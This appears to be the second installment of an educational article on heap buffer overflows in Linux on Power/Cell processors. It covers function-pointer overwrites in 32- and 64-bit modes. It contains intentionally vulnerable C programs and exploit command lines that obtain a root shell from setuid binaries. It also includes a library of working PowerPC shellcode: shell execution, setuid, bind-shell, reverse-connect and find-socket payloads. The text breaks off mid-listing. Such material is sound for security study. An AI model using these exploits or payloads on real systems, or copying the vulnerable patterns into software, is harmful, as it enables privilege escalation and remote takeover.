In this two-part article series, all examples of buffer overflow vulnerabilities in Linux running on Power/Cell Broadband Engine Architecture processor-based servers were developed and executed on an IBM BladeCenter® JS22 Express server, an IBM BladeCenter QS21 server, and a Sony Playstation 3 running Red Hat Enterprise Linux 4 Update 7.
This installment further explores the buffer overflow topic by discussing how to overwrite a function pointer in 32- and 64-bit modes, shedding some light on assembly components, and providing shell, network, and socket code samples. Review Part 1 for a discussion of the causes and effects of buffer overflows.
Overwriting a function pointer in 32-bit mode
Arbitrary code can be executed by overwriting a function pointer. The example in Listing 1 is vulnerable to a heap-based buffer overflow:
Listing 1. example3.c (vulnerable to a heap-based buffer overflow)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
int (*myfunc)(const char *format, ...);
};
int
main(int argc, char **argv)
{
struct mystruct *s;
if ((s = malloc(sizeof(struct mystruct))) == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
s->myfunc = printf;
if (argc > 1)
strcpy(s->buffer, argv[1]);
s->myfunc("Hello world!\n");
exit(EXIT_SUCCESS);
}
|
The process' execution flow can be changed by overwriting the function
pointer myfunc, member of
struct mystruct, that is located right after
the buffer in memory which is subsequently executed.
Listing 2. Overwriting the function pointer myfunc
$ gcc -Wall -o example3 example3.c $ ./example3 AAAAAAAAAAAAAAAABBBB Segmentation fault $ |
Listing 3 represents the
struct
mystruct and its members in the heap
segment after the overflow.
Listing 3. The struct mystruct after the overflow
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc
[AAAAAAAAAAAAAAAA][BBBB]
Bottom of Top of
heap heap
|
Following is the GNU gdb analysis of the overflow.
Listing 4. GNU gdb analysis of the overflow
$ gdb example3 GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "ppc64-redhat-linux-gnu"... (no debugging symbols found) Using host libthread_db library "/lib64/tls/libthread_db.so.1". (gdb) r AAAAAAAAAAAAAAAABBBB Starting program: /home/ramon/example3 AAAAAAAAAAAAAAAABBBB (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x42424240 in ?? () (gdb) |
It results in a segmentation fault when trying to execute code at address
0x42424240 which points to an invalid memory
location. The processor tries to execute code at
0x42424240 and not
0x42424242 as specified to maintain the four
bytes long and word-alignment because whenever instruction addresses are
presented to the processor (as in Branch instructions), the low-order two
bits are ignored.
The following is the struct mystruct in heap
segment after the overflow.
Listing 5. The struct mystruct in heap segment after the overflow
(gdb) x/20bx 0x10011008 0x10011008: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011018: 0x42 0x42 0x42 0x42 (gdb) |
Heap allocations on Linux running on Power/CBEA-based processors begins at
address 0x10011008. The following assembly
components (or shellcodes) can be used to exploit this vulnerability.
Listing 6. Assembly components (or shellcodes) that exploit the vulnerability
char setuidcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
"\x44\xff\xff\x02" /* sc */
;
char shellcode[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
The NOP block technique can be used to increase chances of a successful
exploitation. The preferred instruction for NOP operation in
Power/CBEA-based processors is oril r0,r0,0
(0x60000000). However, the instruction
mr r31,r31
(0x7ffffb78) is used in order to avoid
zeros.
With this information, a moderated guess of heap address that possibly will
contain a NOP instruction from the NOP block can be done
(0x10011808).
Listing 7. Exploitation of code in Listing 9
# chown root. example3 # chmod +s example3 $ id uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t $ ./example3 $(ruby -e 'print "A" * 16 + "\x10\x01\x18\x08" + "\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18 \x44\xff\xff\x02\x3b\xe0\x01\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02 \xa6\x3b\xde\x01\xff\x38\x7e\xfe\x25\x98\xbe\xfe\x2c\x94\xa1\xff\xfc\x94\x61 \xff\xfc\x7c\x24\x0b\x78\x38\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"') sh-3.00# id uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t sh-3.00# |
The following illustration represents the
struct
mystruct and its members in the heap
segment after the overflow.
Listing 8. The struct mystruct after the overflow
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc
[DDDD][A][NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN][SSSSSSSS]
| ^
|__________________|
Bottom of Top of
heap heap
D = Dummy value (A character)
A = Moderated guess of heap address that possibly will contain a NOP
instruction
N = NOP instructions
S = Assembly components
|
Overwriting a function pointer in 64-bit mode
Now I'll talk about how arbitrary code can be executed by overwriting a function pointer in 64-bit mode. The Power 64-bit ELF ABI defines the concept of function descriptors which are contained in the .opd section of the ELF file.
Function descriptors are structures containing a pointer to the function, a pointer to the TOC section, and an environment pointer (used for languages such as Pascal). In a high-level language the value of a function symbol name is the address of a function descriptor instead of the address of the function. Symbol names beginning with a dot (.) prefix are reserved for the address of the function. The Power 32-bit ELF EABI does not define function descriptors.
The use of function descriptors by the Power 64-bit ELF ABI requires that changes be made to code that manipulates function addresses. In order to access function addresses, the following code can be used.
Listing 9. Accessing function addresses
int function_name(int arg1, int arg2);
typedef struct function_descriptor {
void *addr;
unsigned long toc;
unsigned long env;
} f_desc_t;
function_address=(unsigned long)(((f_desc_t *)function_name)->addr);
|
This makes exploitation of the previous example different than in 32-bit mode -- no changes are required to port the previous example to 64-bit mode.
Listing 10. Overwriting the function pointer myfunc
$ gcc -Wall -m64 -o example4 example3.c $ ./example4 AAAAAAAAAAAAAAAABBBBBBBB Segmentation fault $ |
The following illustration represents the
struct
mystruct and its members in the heap
segment after the overflow.
Listing 11. The struct mystruct after the overflow
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc descriptor
[AAAAAAAAAAAAAAAA][BBBBBBBB]
Bottom of Top of
heap heap
|
The following is the GNU gdb analysis of the overflow.
Listing 12. GNU gdb analysis of the overflow
$ gdb example4 GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "ppc64-redhat-linux-gnu"... (no debugging symbols found) Using host libthread_db library "/lib64/tls/libthread_db.so.1". (gdb) r AAAAAAAAAAAAAAAABBBBBBBB Starting program: /home/ramon/example4 AAAAAAAAAAAAAAAABBBBBBBB (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x00000000100006f8 in .main () (gdb) x/i $pc 0x100006f8 <.main+148>: ld r0,0(r9) (gdb) i r r9 r9 0x4242424242424242 4774451407313060418 (gdb) |
This results in a segmentation fault when trying to load the function
address from the function descriptor at address
0x4242424242424242 as specified which points to
an invalid memory location.
In order to successfully exploit this vulnerability, the
myfunc function descriptor must point to a
valid memory location containing a fake function descriptor with its
addr member pointing to a NOP instruction from
the NOP block followed by the assembly components.
The following is the struct mystruct in heap
segment after the overflow.
Listing 13. The struct mystruct in heap segment after the overflow
(gdb) x/24bx 0x10011010 0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011020: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 (gdb) |
Keep in mind that heap allocations on Linux running on Power/CBEA-based
processors in 64-bit mode begins at address
0x0000000010011010. This limits exploitation of
such vulnerabilities to only when input data can contain zeros.
The following example is a modified version of the previous example vulnerable to a heap-based buffer overflow which reads data from a file, therefore it accepts zeros.
Listing 14. example4.c (it accepts zeroes)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct mystruct {
unsigned char buffer[16];
int (*myfunc)(const char *format, ...);
};
int
main(int argc, char **argv)
{
struct mystruct *s;
FILE *fp;
if ((fp = fopen(argv[1], "r")) == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
if ((s = malloc(sizeof(struct mystruct))) == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
s->myfunc = printf;
fgets(s->buffer, 16384, fp);
s->myfunc("Hello world!\n");
exit(EXIT_SUCCESS);
}
|
Also, to exploit this vulnerability in 64-bit mode, 64-bit mode assembly components are needed.
Listing 15. 64-bit assembly components
char setuidcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
"\x44\xff\xff\x02" /* sc */
;
char shellcode64[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode64> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
A fake function descriptors block containing only its
addr member can be used followed by a NOP block
to increase chances of a successful exploitation. The difference between
the NOP block and the fake function descriptors block is fixed. If theses
blocks are of the same size, then only one moderated guess should be done
which is a pointer to a fake function descriptor
(0x0000000010011810 -- this implies that
address 0x0000000010012810 will contain a NOP
instruction).
Listing 16. Exploitation of Listing 14
$ gcc -Wall -m64 -o example4 example4.c # chown root. example4 # chmod +s example4 $ id uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t $ ruby -e 'print "A" * 16 + "\x00\x00\x00\x00\x10\x01\x18\x10" + "\x00\x00\x00\x00\x10\x01\x28\x10" * 512 + "\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18\x44\xff\xff\x02\x3b\xe0\x01 \xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02\xa6\x3b\xde\x01\xff\x38\x7e \xfe\x25\x98\xbe\xfe\x2c\xf8\xa1\xff\xf9\xf8\x61\xff\xf9\x7c\x24\x0b\x78\x38 \x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"' > exploit.txt $ ./example4 exploit.txt sh-3.00# id uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t sh-3.00# |
The following illustration represents the
struct
mystruct and its members in the heap
segment after the overflow.
Listing 17. The struct mystruct after the overflow
Lesser Greater
addresses addresses
struct mystruct
buffer myfunc descriptor
[DDDD][P][AAAAAAAAAAAAAAAA][NNNNNNNNNNNNNNNN][SSSSSSSS]
| ^| ^
|_________||_________________|
fixed
Bottom of Top of
heap heap
D = Dummy value (A character)
P = Moderated guess of heap address that possibly will contain an address of
NOP instruction (fake function descriptor)
A = Moderated guess of heap address that possibly will contain a NOP
instruction
N = NOP instructions
S = Assembly components
|
Now let's take a closer look at assembly components.
The following assembly components—shell execution code, network server code, network connect code, and find socket code—are provided in the Code samples section for use in Linux on Power/CBEA processor-based proof of concept codes (see Resources). These assembly components are part of UNIX® Assembly Components for Proof of Concept Codes project:
- Shell execution code (
shellcode): It simply executes the /bin/sh program. - Network server code (
bndsockcode): This code creates a listening TCP socket on a port defined atBNDSOCKPORToffset ofbndsockcoderoutine (its value is set to 1234 by default). Upon accepting a connection, it duplicates the socket descriptor of the remote TCP endpoint to the process's standard descriptors (stdin,stdout, andstderr) and executes an interactive shell. - Network connect code (
cntsockcode): This code establishes a TCP connection with a remote IP address and port defined atCNTSOCKADDRandCNTSOCKPORToffsets ofcntsockcoderoutine (its values are set to 127.0.0.1 and 1234 by default respectively). Upon establishing a connection, it duplicates the socket descriptor of the remote TCP endpoint to the process's standard descriptors (stdin,stdout, andstderr) and executes an interactive shell. - Find socket code (
fndsockcode): This code walks the process's descriptor table in a search for a socket descriptor of the remote TCP endpoint identified by a port number defined atFNDSOCKPORToffset of thefndsockcode. In a case in which an endpoint is located, the loop is terminated and found socket descriptor is duplicated on the process's standard descriptors (stdin,stdout, andstderr).
Prior to executing thefndsockcode, a client software should establish a TCP connection with a process in which context the code is to be executed. Appropriate setting of the code data atFNDSOCKPORToffset offndsockcodeshould be also made to assure proper identification of the client's connection.
Listing 18. Shell execution code (shellcode)
char setresuidcode[]= /* 24 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\xa5" /* addi r0,r31,-347 */
"\x44\xff\xff\x02" /* sc */
;
char setreuidcode[]= /* 20 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x47" /* addi r0,r31,-441 */
"\x44\xff\xff\x02" /* sc */
;
char setuidcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x18" /* addi r0,r31,-488 */
"\x44\xff\xff\x02" /* sc */
;
char shellcode[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
char exitcode[]= /* 16 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\x63\x1a\x78" /* xor r3,r3,r3 */
"\x38\x1f\xfe\x02" /* addi r0,r31,-510 */
"\x44\xff\xff\x02" /* sc */
;
|
Listing 19. 64-bit shell execution code (shellcode)
char shellcode64[]= /* 55 bytes */
"\x3b\xe0\x01\xff" /* li r31,511 */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xf9" /* bnel+ <shellcode64> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Listing 20. Network server code (bndsockcode)
#define BNDSOCKPORT 58
char bndsockcode[]= /* 223 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\xff\x02" /* lis r23,-254 */
"\x62\xf7\x04\xd2" /* ori r23,r23,1234 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x7c\x36\x0b\x78" /* mr r22,r1 */
"\x97\x21\xff\xfc" /* stwu r25,-4(r1) */
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x03" /* addi r3,r29,-509 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x75\x1b\x78" /* mr r21,r3 */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7e\xa3\xab\x78" /* mr r3,r21 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <bndsockcode+148> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode+172> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Listing 21. 64-bit network server code (bndsockcode)
#define BNDSOCKPORT 58
char bndsockcode64[]= /* 223 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
"\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\xff\x02" /* lis r23,-254 */
"\x62\xf7\x04\xd2" /* ori r23,r23,1234 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x7c\x36\x0b\x78" /* mr r22,r1 */
"\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */
"\xfa\xc1\xff\xf9" /* stdu r22,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x03" /* addi r3,r29,-509 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x05" /* addi r3,r29,-507 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x06" /* addi r3,r29,-506 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x75\x1b\x78" /* mr r21,r3 */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7e\xa3\xab\x78" /* mr r3,r21 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <bndsockcode64+148> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <bndsockcode64+172> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Listing 22. Network connect code (cntsockcode)
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT 62
char cntsockcode[]= /* 183 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\x7f\x00" /* lis r23,32512 */
"\x62\xf7\x00\x01" /* ori r23,r23,1 */
"\x3a\xc0\x04\xd2" /* li r22,1234 */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
"\x93\x61\xff\xfe" /* stw r27,-2(r1) */
"\x7c\x35\x0b\x78" /* mr r21,r1 */
"\x97\x21\xff\xfc" /* stwu r25,-4(r1) */
"\x96\xa1\xff\xfc" /* stwu r21,-4(r1) */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <cntsockcode+108> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode+132> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Listing 23. 64-bit network connect code (cntsockcode)
#define CNTSOCKADDR1 54
#define CNTSOCKADDR2 58
#define CNTSOCKPORT 62
char cntsockcode64[]= /* 183 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */
"\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
"\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x02" /* addi r3,r29,-510 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
"\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */
"\x3e\xe0\x7f\x00" /* lis r23,32512 */
"\x62\xf7\x00\x01" /* ori r23,r23,1 */
"\x3a\xc0\x04\xd2" /* li r22,1234 */
"\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */
"\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */
"\x93\x61\xff\xfe" /* stw r27,-2(r1) */
"\x7c\x35\x0b\x78" /* mr r21,r1 */
"\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */
"\xfa\xa1\xff\xf9" /* stdu r21,-8(r1) */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x04" /* addi r3,r29,-508 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <cntsockcode64+108> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode64+132> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Listing 24. Find socket code (fndsockcode)
#define FNDSOCKPORT 86
char fndsockcode[]= /* 171 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
"\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x3a\x0b\x78" /* mr r26,r1 */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x3b\xff\x01\xff" /* addi r31,r31,511 */
"\x3b\xff\xfe\x02" /* addi r31,r31,-510 */
"\x38\x21\x01\xff" /* addi r1,r1,511 */
"\x38\x21\xfe\x05" /* addi r1,r1,-507 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
